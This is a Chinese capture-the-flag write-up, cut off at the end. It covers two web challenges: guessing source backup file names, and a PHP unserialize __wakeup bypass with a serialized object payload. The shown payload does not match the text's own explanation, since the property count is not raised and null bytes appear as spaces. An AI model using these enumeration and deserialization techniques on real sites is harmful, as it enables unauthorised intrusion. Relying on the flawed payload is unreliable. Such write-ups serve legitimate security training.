[极客大挑战 2019]PHP
由内容提示应该存在源码备份,常见的如下,一个个尝试- 后缀:tar tar.gz zip rar
- 名字:www web website backup back wwwroot temp
复制代码 访问www.zip,下载下来
解压查看
index.php
flag.php
class.php- [/code]结果如下
- [code]<?php
- class Name{
- private $username = 'admin';
- private $password = 100;
- }
- $A=new Name();
- echo serialize($A);
- ?>
复制代码
- 这里需要绕过__wakeup函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
- 由于序列化的存在空字符,故需要%00来代替,即空字符的url编码
- O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
复制代码 拿到flag
[ACTF2020 新生赛]BackupFile
题目提示备份文件- 后缀:tar tar.gz zip rar
- 名字:www web website backup back wwwroot temp
复制代码 除了以上这些,还有.bak/.swp/.old,都可以试试
这里使用dirsearch扫出来index.php.bak文件,下载下来
使用记事本打开
[code] |